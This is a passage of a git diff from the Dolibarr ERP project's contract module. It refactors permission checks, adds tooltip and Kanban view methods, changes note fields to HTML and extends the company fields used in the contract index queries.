'visible'=>-1, 'position'=>25, 'searchall'=>1), + 'ref_supplier' =>array('type'=>'varchar(50)', 'label'=>'RefSupplier', 'enabled'=>1, 'visible'=>-1, 'position'=>26, 'searchall'=>1), 'entity' =>array('type'=>'integer', 'label'=>'Entity', 'default'=>1, 'enabled'=>1, 'visible'=>-2, 'notnull'=>1, 'position'=>30, 'index'=>1), 'tms' =>array('type'=>'timestamp', 'label'=>'DateModification', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>35), 'datec' =>array('type'=>'datetime', 'label'=>'DateCreation', 'enabled'=>1, 'visible'=>-1, 'position'=>40), 'date_contrat' =>array('type'=>'datetime', 'label'=>'Date contrat', 'enabled'=>1, 'visible'=>-1, 'position'=>45), - 'fk_soc' =>array('type'=>'integer:Societe:societe/class/societe.class.php', 'label'=>'ThirdParty', 'enabled'=>'$conf->societe->enabled', 'visible'=>-1, 'notnull'=>1, 'position'=>70), - 'fk_projet' =>array('type'=>'integer:Project:projet/class/project.class.php:1:fk_statut=1', 'label'=>'Project', 'enabled'=>"isModEnabled('project')", 'visible'=>-1, 'position'=>75), + 'fk_soc' =>array('type'=>'integer:Societe:societe/class/societe.class.php', 'label'=>'ThirdParty', 'enabled'=>'isModEnabled("societe")', 'visible'=>-1, 'notnull'=>1, 'position'=>70), + 'fk_projet' =>array('type'=>'integer:Project:projet/class/project.class.php:1:(fk_statut:=:1)', 'label'=>'Project', 'enabled'=>"isModEnabled('project')", 'visible'=>-1, 'position'=>75), 'fk_commercial_signature' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'SaleRepresentative Signature', 'enabled'=>1, 'visible'=>-1, 'position'=>80), 'fk_commercial_suivi' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'SaleRepresentative follower', 'enabled'=>1, 'visible'=>-1, 'position'=>85), 'fk_user_author' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserAuthor', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>90), - 'note_public' =>array('type'=>'text', 'label'=>'NotePublic', 'enabled'=>1, 'visible'=>0, 'position'=>105), - 'note_private' =>array('type'=>'text', 'label'=>'NotePrivate', 'enabled'=>1, 'visible'=>0, 'position'=>110), + 'note_public' =>array('type'=>'html', 'label'=>'NotePublic', 'enabled'=>1, 'visible'=>0, 'position'=>105, 'searchall'=>1), + 'note_private' =>array('type'=>'html', 'label'=>'NotePrivate', 'enabled'=>1, 'visible'=>0, 'position'=>110, 'searchall'=>1), 'model_pdf' =>array('type'=>'varchar(255)', 'label'=>'Model pdf', 'enabled'=>1, 'visible'=>0, 'position'=>115), 'import_key' =>array('type'=>'varchar(14)', 'label'=>'ImportId', 'enabled'=>1, 'visible'=>-2, 'position'=>120), 'extraparams' =>array('type'=>'varchar(255)', 'label'=>'Extraparams', 'enabled'=>1, 'visible'=>-1, 'position'=>125), - 'ref_customer' =>array('type'=>'varchar(50)', 'label'=>'Ref customer', 'enabled'=>1, 'visible'=>-1, 'position'=>130), 'fk_user_modif' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'UserModif', 'enabled'=>1, 'visible'=>-2, 'notnull'=>-1, 'position'=>135), 'last_main_doc' =>array('type'=>'varchar(255)', 'label'=>'Last main doc', 'enabled'=>1, 'visible'=>-1, 'position'=>140), 'statut' =>array('type'=>'smallint(6)', 'label'=>'Statut', 'enabled'=>1, 'visible'=>-1, 'position'=>500, 'notnull'=>1, 'arrayofkeyval'=>array(0=>'Draft', 1=>'Validated', 2=>'Closed')) @@ -320,15 +321,15 @@ class Contrat extends CommonObject * * @param User $user Objet User who activate contract * @param int $line_id Id of line to activate - * @param int $date Opening date + * @param int $date_start Opening date * @param int|string $date_end Expected end date * @param string $comment A comment typed by user * @return int <0 if KO, >0 if OK */ - public function active_line($user, $line_id, $date, $date_end = '', $comment = '') + public function active_line($user, $line_id, $date_start, $date_end = '', $comment = '') { // phpcs:enable - $result = $this->lines[$this->lines_id_index_mapper[$line_id]]->active_line($user, $date, $date_end, $comment); + $result = $this->lines[$this->lines_id_index_mapper[$line_id]]->active_line($user, $date_start, $date_end, $comment); if ($result < 0) { $this->error = $this->lines[$this->lines_id_index_mapper[$line_id]]->error; $this->errors = $this->lines[$this->lines_id_index_mapper[$line_id]]->errors; @@ -718,7 +719,7 @@ class Contrat extends CommonObject $this->socid = $obj->fk_soc; $this->fk_soc = $obj->fk_soc; $this->last_main_doc = $obj->last_main_doc; - $this->extraparams = (array) json_decode($obj->extraparams, true); + $this->extraparams = (isset($obj->extraparams) ? (array) json_decode($obj->extraparams, true) : null); $this->db->free($resql); @@ -757,7 +758,7 @@ class Contrat extends CommonObject * * @param int $only_services 0=Default, 1=Force only services (depending on setup, we may also have physical products in a contract) * @param int $loadalsotranslation 0=Default, 1=Load also translations of product descriptions - * @return ContratLigne[] Return array of contract lines + * @return array|int Return array of contract lines */ public function fetch_lines($only_services = 0, $loadalsotranslation = 0) { @@ -1368,8 +1369,8 @@ class Contrat extends CommonObject $sql .= " fk_commercial_suivi=".(isset($this->fk_commercial_suivi) ? $this->fk_commercial_suivi : "null").","; $sql .= " note_private=".(isset($this->note_private) ? "'".$this->db->escape($this->note_private)."'" : "null").","; $sql .= " note_public=".(isset($this->note_public) ? "'".$this->db->escape($this->note_public)."'" : "null").","; - $sql .= " import_key=".(isset($this->import_key) ? "'".$this->db->escape($this->import_key)."'" : "null").""; - //$sql.= " extraparams=".(isset($this->extraparams)?"'".$this->db->escape($this->extraparams)."'":"null").""; + $sql .= " import_key=".(isset($this->import_key) ? "'".$this->db->escape($this->import_key)."'" : "null"); + //$sql.= " extraparams=".(isset($this->extraparams)?"'".$this->db->escape($this->extraparams)."'":"null"); $sql .= " WHERE rowid=".((int) $this->id); $this->db->begin(); @@ -1981,6 +1982,61 @@ class Contrat extends CommonObject } } + /** + * getTooltipContentArray + * @param array $params params to construct tooltip data + * @since v18 + * @return array + */ + public function getTooltipContentArray($params) + { + global $conf, $langs, $user; + + $langs->load('contracts'); + + $datas = []; + $nofetch = !empty($params['nofetch']); + + if (!empty($conf->global->MAIN_OPTIMIZEFORTEXTBROWSER)) { + return ['optimize' => $langs->trans("ShowContract")]; + } + if ($user->hasRight('contrat', 'lire')) { + $datas['picto'] = img_picto('', $this->picto).' '.$langs->trans("Contract").''; + /* Status of a contract is status of all services, so disabled + if (isset($this->statut)) { + $label .= ' '.$this->getLibStatut(5); + }*/ + $datas['ref'] = '
      '.$langs->trans('Ref').': '.($this->ref ? $this->ref : $this->id); + if (!$nofetch) { + $langs->load('companies'); + if (empty($this->thirdparty)) { + $this->fetch_thirdparty(); + } + $datas['customer'] = '
      '.$langs->trans('Customer').': '.$this->thirdparty->getNomUrl(1, '', 0, 1); + } + $datas['refcustomer'] = '
      '.$langs->trans('RefCustomer').': '. $this->ref_customer; + if (!$nofetch) { + $langs->load('project'); + if (empty($this->project)) { + $res = $this->fetch_project(); + if ($res > 0) { + $datas['project'] = '
      '.$langs->trans('Project').': '.$this->project->getNomUrl(1, '', 0, 1); + } + } + } + $datas['refsupplier'] = '
      '.$langs->trans('RefSupplier').': '.$this->ref_supplier; + if (!empty($this->total_ht)) { + $datas['amountht'] = '
      '.$langs->trans('AmountHT').': '.price($this->total_ht, 0, $langs, 0, -1, -1, $conf->currency); + } + if (!empty($this->total_tva)) { + $datas['vatamount'] = '
      '.$langs->trans('VAT').': '.price($this->total_tva, 0, $langs, 0, -1, -1, $conf->currency); + } + if (!empty($this->total_ttc)) { + $datas['amounttc'] = '
      '.$langs->trans('AmountTTC').': '.price($this->total_ttc, 0, $langs, 0, -1, -1, $conf->currency); + } + } + return $datas; + } /** * Return clicable name (with picto eventually) @@ -2010,47 +2066,37 @@ class Contrat extends CommonObject $url .= '&save_lastsearch_values=1'; } //} - - $label = ''; - - if ($user->rights->contrat->lire) { - $label = img_picto('', $this->picto).' '.$langs->trans("Contract").''; - /* Status of a contract is status of all services, so disabled - if (isset($this->statut)) { - $label .= ' '.$this->getLibStatut(5); - }*/ - $label .= '
      '.$langs->trans('Ref').': '.($this->ref ? $this->ref : $this->id); - $ref_customer = (!empty($this->ref_customer) ? $this->ref_customer : (empty($this->ref_client) ? '' : $this->ref_client)); - $label .= '
      '.$langs->trans('RefCustomer').': '.$ref_customer; - $label .= '
      '.$langs->trans('RefSupplier').': '.$this->ref_supplier; - if (!empty($this->total_ht)) { - $label .= '
      '.$langs->trans('AmountHT').': '.price($this->total_ht, 0, $langs, 0, -1, -1, $conf->currency); - } - if (!empty($this->total_tva)) { - $label .= '
      '.$langs->trans('VAT').': '.price($this->total_tva, 0, $langs, 0, -1, -1, $conf->currency); - } - if (!empty($this->total_ttc)) { - $label .= '
      '.$langs->trans('AmountTTC').': '.price($this->total_ttc, 0, $langs, 0, -1, -1, $conf->currency); - } + $params = [ + 'id' => $this->id, + 'objecttype' => $this->element, + 'nofetch' => 1, + ]; + $classfortooltip = 'classfortooltip'; + $dataparams = ''; + if (getDolGlobalInt('MAIN_ENABLE_AJAX_TOOLTIP')) { + $classfortooltip = 'classforajaxtooltip'; + $dataparams = ' data-params="'.dol_escape_htmltag(json_encode($params)).'"'; + $label = ''; + } else { + $label = implode($this->getTooltipContentArray($params)); } $linkclose = ''; - if (empty($notooltip) && $user->rights->contrat->lire) { + if (empty($notooltip) && $user->hasRight('contrat', 'lire')) { if (!empty($conf->global->MAIN_OPTIMIZEFORTEXTBROWSER)) { - $label = $langs->trans("ShowOrder"); + $label = $langs->trans("ShowContract"); $linkclose .= ' alt="'.dol_escape_htmltag($label, 1).'"'; } - $linkclose .= ' title="'.dol_escape_htmltag($label, 1).'"'; - $linkclose .= ' class="classfortooltip"'; + $linkclose .= ($label ? ' title="'.dol_escape_htmltag($label, 1).'"' : ' title="tocomplete"'); + $linkclose .= $dataparams.' class="'.$classfortooltip.'"'; } - $linkstart = ''; $linkend = ''; $result .= $linkstart; if ($withpicto) { - $result .= img_object(($notooltip ? '' : $label), $this->picto, ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); + $result .= img_object(($notooltip ? '' : $label), $this->picto, ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : $dataparams.' class="'.(($withpicto != 2) ? 'paddingright ' : '').$classfortooltip.'"'), 0, 0, $notooltip ? 0 : 1); } if ($withpicto != 2) { $result .= ($this->ref ? $this->ref : $this->id); @@ -2249,15 +2295,15 @@ class Contrat extends CommonObject $warning_delay = $conf->contrat->services->inactifs->warning_delay; $label = $langs->trans("BoardNotActivatedServices"); $labelShort = $langs->trans("BoardNotActivatedServicesShort"); - $url = DOL_URL_ROOT.'/contrat/services_list.php?mainmenu=commercial&leftmenu=contracts&mode=0&sortfield=cd.date_fin_validite&sortorder=asc'; + $url = DOL_URL_ROOT.'/contrat/services_list.php?mainmenu=commercial&leftmenu=contracts&search_status=0&sortfield=cd.date_fin_validite&sortorder=asc'; } elseif ($mode == 'expired') { $warning_delay = $conf->contrat->services->expires->warning_delay; - $url = DOL_URL_ROOT.'/contrat/services_list.php?mainmenu=commercial&leftmenu=contracts&mode=4&filter=expired&sortfield=cd.date_fin_validite&sortorder=asc'; + $url = DOL_URL_ROOT.'/contrat/services_list.php?mainmenu=commercial&leftmenu=contracts&search_status=4&filter=expired&sortfield=cd.date_fin_validite&sortorder=asc'; $label = $langs->trans("BoardExpiredServices"); $labelShort = $langs->trans("BoardExpiredServicesShort"); } else { $warning_delay = $conf->contrat->services->expires->warning_delay; - $url = DOL_URL_ROOT.'/contrat/services_list.php?mainmenu=commercial&leftmenu=contracts&mode=4&sortfield=cd.date_fin_validite&sortorder=asc'; + $url = DOL_URL_ROOT.'/contrat/services_list.php?mainmenu=commercial&leftmenu=contracts&search_status=4&sortfield=cd.date_fin_validite&sortorder=asc'; //$url.= '&op2day='.$arraydatetouse['mday'].'&op2month='.$arraydatetouse['mon'].'&op2year='.$arraydatetouse['year']; //if ($warning_delay >= 0) $url.='&filter=expired'; $label = $langs->trans("BoardRunningServices"); @@ -2474,18 +2520,18 @@ class Contrat extends CommonObject /** * Function used to replace a thirdparty id with another one. * - * @param DoliDB $db Database handler - * @param int $origin_id Old thirdparty id - * @param int $dest_id New thirdparty id - * @return bool + * @param DoliDB $dbs Database handler, because function is static we name it $dbs not $db to avoid breaking coding test + * @param int $origin_id Old thirdparty id + * @param int $dest_id New thirdparty id + * @return bool */ - public static function replaceThirdparty(DoliDB $db, $origin_id, $dest_id) + public static function replaceThirdparty(DoliDB $dbs, $origin_id, $dest_id) { $tables = array( 'contrat' ); - return CommonObject::commonReplaceThirdparty($db, $origin_id, $dest_id, $tables); + return CommonObject::commonReplaceThirdparty($dbs, $origin_id, $dest_id, $tables); } /** @@ -2602,6 +2648,7 @@ class Contrat extends CommonObject $action = ''; $reshook = $hookmanager->executeHooks('createFrom', $parameters, $clonedObj, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) { + $this->setErrorsFromObject($hookmanager); $error++; } } @@ -2789,6 +2836,43 @@ class Contrat extends CommonObject return ($error ? 1: 0); } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $langs; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + //$return .= ''; // Can be image + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl() : $this->ref).''; + $return .= ''; + if (property_exists($this, 'societe')) { + $return .= '
      '.$this->societe.''; + } + if (property_exists($this, 'date_contrat')) { + $return .= '
      '.$langs->trans("DateContract").' : '.dol_print_date($this->date_contrat, 'day').''; + } + if (method_exists($this, 'getLibStatut')) { + $return .= '
      '.$this->getLibStatut(3).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } @@ -2865,23 +2949,6 @@ class ContratLigne extends CommonObjectLine public $date_start_real; // date start real public $date_end; // date end planned public $date_end_real; // date end real - // For backward compatibility - /** - * @deprecated Use date_start - */ - //public $date_ouverture_prevue; // date start planned - /** - * @deprecated Use date_start_real - */ - //public $date_ouverture; // date start real - /** - * @deprecated Use date_end - */ - //public $date_fin_validite; // date end planned - /** - * @deprecated Use date_end_real - */ - //public $date_cloture; // date end real public $tva_tx; public $vat_src_code; @@ -2961,7 +3028,7 @@ class ContratLigne extends CommonObjectLine 'rowid' =>array('type'=>'integer', 'label'=>'TechnicalID', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>10), 'entity' =>array('type'=>'integer', 'label'=>'Entity', 'default'=>1, 'enabled'=>1, 'visible'=>-2, 'notnull'=>1, 'position'=>30, 'index'=>1), 'tms' =>array('type'=>'timestamp', 'label'=>'DateModification', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>35), - 'qty' =>array('type'=>'integer', 'label'=>'Quantity', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>35, 'isameasure'=>1), + 'qty' =>array('type'=>'integer', 'label'=>'Quantity', 'enabled'=>1, 'visible'=>1, 'notnull'=>1, 'position'=>35, 'isameasure'=>1), 'total_ht' =>array('type'=>'integer', 'label'=>'AmountHT', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>36, 'isameasure'=>1), 'total_tva' =>array('type'=>'integer', 'label'=>'AmountVAT', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>37, 'isameasure'=>1), 'total_ttc' =>array('type'=>'integer', 'label'=>'AmountTTC', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>38, 'isameasure'=>1), @@ -2970,8 +3037,8 @@ class ContratLigne extends CommonObjectLine 'fk_contrat' =>array('type'=>'integer:Contrat:contrat/class/contrat.class.php', 'label'=>'Contract', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>70), 'fk_product' =>array('type'=>'integer:Product:product/class/product.class.php:1', 'label'=>'Product', 'enabled'=>1, 'visible'=>-1, 'position'=>75), //'fk_user_author' =>array('type'=>'integer:User:user/class/user.class.php', 'label'=>'Fk user author', 'enabled'=>1, 'visible'=>-1, 'notnull'=>1, 'position'=>90), - 'note_private' =>array('type'=>'text', 'label'=>'NotePublic', 'enabled'=>1, 'visible'=>0, 'position'=>105), - 'note_public' =>array('type'=>'text', 'label'=>'NotePrivate', 'enabled'=>1, 'visible'=>0, 'position'=>110), + 'note_private' =>array('type'=>'html', 'label'=>'NotePublic', 'enabled'=>1, 'visible'=>0, 'position'=>105), + 'note_public' =>array('type'=>'html', 'label'=>'NotePrivate', 'enabled'=>1, 'visible'=>0, 'position'=>110), //'model_pdf' =>array('type'=>'varchar(255)', 'label'=>'Model pdf', 'enabled'=>1, 'visible'=>0, 'position'=>115), //'import_key' =>array('type'=>'varchar(14)', 'label'=>'ImportId', 'enabled'=>1, 'visible'=>-2, 'position'=>120), //'extraparams' =>array('type'=>'varchar(255)', 'label'=>'Extraparams', 'enabled'=>1, 'visible'=>-1, 'position'=>125), @@ -3054,7 +3121,26 @@ class ContratLigne extends CommonObjectLine } /** - * Return clicable name (with picto eventually) + * getTooltipContentArray + * @param array $params params to construct tooltip data + * @since v18 + * @return array + */ + public function getTooltipContentArray($params) + { + global $conf, $langs, $user; + + $datas = []; + $datas['label'] = $langs->trans("ShowContractOfService").': '.$this->label; + if (empty($datas['label'])) { + $datas['label'] = $this->description; + } + + return $datas; + } + + /** + * Return clicable name (with picto eventually) for ContratLigne * * @param int $withpicto 0=No picto, 1=Include picto into link, 2=Only picto * @param int $maxlength Max length @@ -3069,8 +3155,21 @@ class ContratLigne extends CommonObjectLine if (empty($label)) { $label = $this->description; } + $classfortooltip = 'classfortooltip'; + $dataparams = ''; + if (getDolGlobalInt('MAIN_ENABLE_AJAX_TOOLTIP')) { + $params = [ + 'id' => $this->fk_contrat, + 'objecttype' => $this->element, + ]; + $classfortooltip = 'classforajaxtooltip'; + $dataparams = ' data-params="'.dol_escape_htmltag(json_encode($params)).'"'; + $label = ''; + } - $link = ''; + $link = ''; $linkend = ''; $picto = 'service'; @@ -3079,7 +3178,7 @@ class ContratLigne extends CommonObjectLine } if ($withpicto) { - $result .= ($link.img_object($label, $picto, 'class="classfortooltip"').$linkend); + $result .= ($link.img_object($label, $picto, $dataparams.' class="'.$classfortooltip.'"').$linkend); } if ($withpicto && $withpicto != 2) { $result .= ' '; @@ -3303,15 +3402,11 @@ class ContratLigne extends CommonObjectLine $this->date_end_real = $this->date_end_real; } - - // Check parameters - // Put here code to add control on parameters values - // Calcul du total TTC et de la TVA pour la ligne a partir de // qty, pu, remise_percent et txtva // TRES IMPORTANT: C'est au moment de l'insertion ligne qu'on doit stocker // la part ht, tva et ttc, et ce au niveau de la ligne qui a son propre taux tva. - $localtaxes_type = getLocalTaxesFromRate($this->txtva, 0, $this->societe, $mysoc); + $localtaxes_type = getLocalTaxesFromRate($this->txtva, 0, $this->thirdparty, $mysoc); $tabprice = calcul_price_total($this->qty, $this->price_ht, $this->remise_percent, $this->tva_tx, $this->localtax1_tx, $this->localtax2_tx, 0, 'HT', 0, 1, $mysoc, $localtaxes_type); $this->total_ht = $tabprice[0]; @@ -3455,11 +3550,11 @@ class ContratLigne extends CommonObjectLine // Mise a jour ligne en base $sql = "UPDATE ".MAIN_DB_PREFIX."contratdet SET"; - $sql .= " total_ht=".price2num($this->total_ht, 'MT').""; - $sql .= ",total_tva=".price2num($this->total_tva, 'MT').""; - $sql .= ",total_localtax1=".price2num($this->total_localtax1, 'MT').""; - $sql .= ",total_localtax2=".price2num($this->total_localtax2, 'MT').""; - $sql .= ",total_ttc=".price2num($this->total_ttc, 'MT').""; + $sql .= " total_ht=".price2num($this->total_ht, 'MT'); + $sql .= ",total_tva=".price2num($this->total_tva, 'MT'); + $sql .= ",total_localtax1=".price2num($this->total_localtax1, 'MT'); + $sql .= ",total_localtax2=".price2num($this->total_localtax2, 'MT'); + $sql .= ",total_ttc=".price2num($this->total_ttc, 'MT'); $sql .= " WHERE rowid = ".((int) $this->id); dol_syslog(get_class($this)."::update_total", LOG_DEBUG); @@ -3573,7 +3668,7 @@ class ContratLigne extends CommonObjectLine * Activate a contract line * * @param User $user Objet User who activate contract - * @param int $date Date activation + * @param int $date Date real activation * @param int|string $date_end Date planned end. Use '-1' to keep it unchanged. * @param string $comment A comment typed by user * @return int <0 if KO, >0 if OK @@ -3588,13 +3683,13 @@ class ContratLigne extends CommonObjectLine $this->db->begin(); $this->statut = ContratLigne::STATUS_OPEN; - $this->date_start = $date; + $this->date_start_real = $date; $this->date_end = $date_end; $this->fk_user_ouverture = $user->id; $this->date_end_real = null; $this->commentaire = $comment; - $sql = "UPDATE ".MAIN_DB_PREFIX."contratdet SET statut = ".$this->statut.","; + $sql = "UPDATE ".MAIN_DB_PREFIX."contratdet SET statut = ".((int) $this->statut).","; $sql .= " date_ouverture = ".(dol_strlen($this->date_start_real) != 0 ? "'".$this->db->idate($this->date_start_real)."'" : "null").","; if ($date_end >= 0) { $sql .= " date_fin_validite = ".(dol_strlen($this->date_end) != 0 ? "'".$this->db->idate($this->date_end)."'" : "null").","; @@ -3633,7 +3728,7 @@ class ContratLigne extends CommonObjectLine * Close a contract line * * @param User $user Objet User who close contract - * @param int $date_end_real Date end + * @param int $date_end_real Date end * @param string $comment A comment typed by user * @param int $notrigger 1=Does not execute triggers, 0=Execute triggers * @return int <0 if KO, >0 if OK @@ -3645,6 +3740,7 @@ class ContratLigne extends CommonObjectLine // Update object $this->date_cloture = $date_end_real; + $this->date_end_real = $date_end_real; $this->fk_user_cloture = $user->id; $this->commentaire = $comment; diff --git a/htdocs/contrat/contact.php b/htdocs/contrat/contact.php index e5557c28a5b..2af24364604 100644 --- a/htdocs/contrat/contact.php +++ b/htdocs/contrat/contact.php @@ -61,7 +61,7 @@ $permissiontoadd = $user->rights->contrat->creer; // Used by the include * Actions */ -if ($action == 'addcontact' && $user->rights->contrat->creer) { +if ($action == 'addcontact' && $user->hasRight('contrat', 'creer')) { $result = $object->fetch($id); if ($result > 0 && $id > 0) { @@ -86,7 +86,7 @@ if ($action == 'addcontact' && $user->rights->contrat->creer) { } // bascule du statut d'un contact -if ($action == 'swapstatut' && $user->rights->contrat->creer) { +if ($action == 'swapstatut' && $user->hasRight('contrat', 'creer')) { if ($object->fetch($id)) { $result = $object->swapContactStatus(GETPOST('ligne', 'int')); } else { @@ -95,7 +95,7 @@ if ($action == 'swapstatut' && $user->rights->contrat->creer) { } // Delete contact -if ($action == 'deletecontact' && $user->rights->contrat->creer) { +if ($action == 'deletecontact' && $user->hasRight('contrat', 'creer')) { $object->fetch($id); $result = $object->delete_contact(GETPOST("lineid", 'int')); @@ -165,7 +165,7 @@ if ($id > 0 || !empty($ref)) { if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); diff --git a/htdocs/contrat/document.php b/htdocs/contrat/document.php index 652738f10b5..3fb6ce25a6d 100644 --- a/htdocs/contrat/document.php +++ b/htdocs/contrat/document.php @@ -152,7 +152,7 @@ if ($object->id) { if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); diff --git a/htdocs/contrat/index.php b/htdocs/contrat/index.php index d537934a299..a8ca8a67444 100644 --- a/htdocs/contrat/index.php +++ b/htdocs/contrat/index.php @@ -194,7 +194,7 @@ foreach ($listofstatus as $status) { if (empty($conf->use_javascript_ajax)) { print '
      '.$staticcontratligne->LibStatut($status, 0, ($bool ? 1 : 0)).''.($nb[$status.$bool] ? $nb[$status.$bool] : 0).' '.$staticcontratligne->LibStatut($status, 3, ($bool ? 1 : 0)).''.($nb[$status.$bool] ? $nb[$status.$bool] : 0).' '.$staticcontratligne->LibStatut($status, 3, ($bool ? 1 : 0)).'
      '.$staticcontratligne->LibStatut($status, 0, ($bool ? 1 : 0)).''.($nb[$status.$bool] ? $nb[$status.$bool] : 0).' '.$staticcontratligne->LibStatut($status, 3, ($bool ? 1 : 0)).''.($nb[$status.$bool] ? $nb[$status.$bool] : 0).' '.$staticcontratligne->LibStatut($status, 3, ($bool ? 1 : 0)).'

      "; // Draft contracts -if (isModEnabled('contrat') && $user->rights->contrat->lire) { +if (isModEnabled('contrat') && $user->hasRight('contrat', 'lire')) { $sql = "SELECT c.rowid, c.ref,"; - $sql .= " s.nom as name, s.rowid as socid"; + $sql .= " s.nom as name, s.name_alias, s.logo, s.rowid as socid, s.client, s.fournisseur, s.code_client, s.code_fournisseur, s.code_compta, s.code_compta_fournisseur"; $sql .= " FROM ".MAIN_DB_PREFIX."contrat as c, ".MAIN_DB_PREFIX."societe as s"; if (empty($user->rights->societe->client->voir) && !$socid) { $sql .= ", ".MAIN_DB_PREFIX."societe_commerciaux as sc"; @@ -266,8 +266,6 @@ if (isModEnabled('contrat') && $user->rights->contrat->lire) { print '
      '.$langs->trans("DraftContracts").($num ? ''.$num.'' : '').'
      '; print $staticcontrat->getNomUrl(1, ''); print ''; - print $companystatic->getNomUrl(1, '', 16); + print $staticcompany->getNomUrl(1, '', 16); print '
      '.$langs->trans("NoContracts").'
      '.$langs->trans("NoContracts").'

      "; $db->free($resql); @@ -312,7 +317,8 @@ $sql .= " sum(".$db->ifsql("cd.statut=4 AND (cd.date_fin_validite IS NULL OR cd. $sql .= " sum(".$db->ifsql("cd.statut=4 AND (cd.date_fin_validite IS NOT NULL AND cd.date_fin_validite < '".$db->idate($now)."')", 1, 0).') as nb_expired,'; $sql .= " sum(".$db->ifsql("cd.statut=4 AND (cd.date_fin_validite IS NOT NULL AND cd.date_fin_validite < '".$db->idate($now - $conf->contrat->services->expires->warning_delay)."')", 1, 0).') as nb_late,'; $sql .= " sum(".$db->ifsql("cd.statut=5", 1, 0).') as nb_closed,'; -$sql .= " c.rowid as cid, c.ref, c.datec, c.tms, c.statut, s.nom as name, s.rowid as socid"; +$sql .= " c.rowid as cid, c.ref, c.datec, c.tms, c.statut,"; +$sql .= " s.nom as name, s.name_alias, s.logo, s.rowid as socid, s.client, s.fournisseur, s.code_client, s.code_fournisseur, s.code_compta, s.code_compta_fournisseur"; $sql .= " FROM ".MAIN_DB_PREFIX."societe as s,"; if (empty($user->rights->societe->client->voir) && !$socid) { $sql .= " ".MAIN_DB_PREFIX."societe_commerciaux as sc,"; @@ -328,7 +334,8 @@ if (empty($user->rights->societe->client->voir) && !$socid) { if ($socid) { $sql .= " AND s.rowid = ".((int) $socid); } -$sql .= " GROUP BY c.rowid, c.ref, c.datec, c.tms, c.statut, s.nom, s.rowid"; +$sql .= " GROUP BY c.rowid, c.ref, c.datec, c.tms, c.statut,"; +$sql .= " s.nom, s.name_alias, s.logo, s.rowid, s.client, s.fournisseur, s.code_client, s.code_fournisseur, s.code_compta, s.code_compta_fournisseur"; $sql .= " ORDER BY c.tms DESC"; $sql .= $db->plimit($max); @@ -356,6 +363,14 @@ if ($result) { $staticcompany->id = $obj->socid; $staticcompany->name = $obj->name; + $staticcompany->name_alias = $obj->name_alias; + $staticcompany->photo = 1; + $staticcompany->code_client = $obj->code_client; + $staticcompany->code_fournisseur = $obj->code_fournisseur; + $staticcompany->code_compta = $obj->code_compta; + $staticcompany->code_compta_fournisseur = $obj->code_compta_fournisseur; + $staticcompany->client = $obj->client; + $staticcompany->fournisseur = $obj->fournisseur; print ''; print ''; @@ -389,9 +404,9 @@ if ($result) { print '
      '; // Last modified services -$sql = "SELECT c.ref, c.fk_soc, "; +$sql = "SELECT c.ref, c.fk_soc as socid,"; $sql .= " cd.rowid as cid, cd.statut, cd.label, cd.fk_product, cd.description as note, cd.fk_contrat, cd.date_fin_validite,"; -$sql .= " s.nom as name,"; +$sql .= " s.nom as name, s.name_alias, s.logo, s.rowid as socid, s.client, s.fournisseur, s.code_client, s.code_fournisseur, s.code_compta, s.code_compta_fournisseur,"; $sql .= " p.rowid as pid, p.ref as pref, p.label as plabel, p.fk_product_type as ptype, p.entity as pentity"; $sql .= " FROM (".MAIN_DB_PREFIX."contrat as c"; $sql .= ", ".MAIN_DB_PREFIX."societe as s"; @@ -427,9 +442,23 @@ if ($resql) { print ''; print ''; + $staticcontrat->ref = ($obj->ref ? $obj->ref : $obj->fk_contrat); $staticcontrat->id = $obj->fk_contrat; + + $staticcompany->id = $obj->socid; + $staticcompany->name = $obj->name; + $staticcompany->name_alias = $obj->name_alias; + $staticcompany->photo = 1; + $staticcompany->code_client = $obj->code_client; + $staticcompany->code_fournisseur = 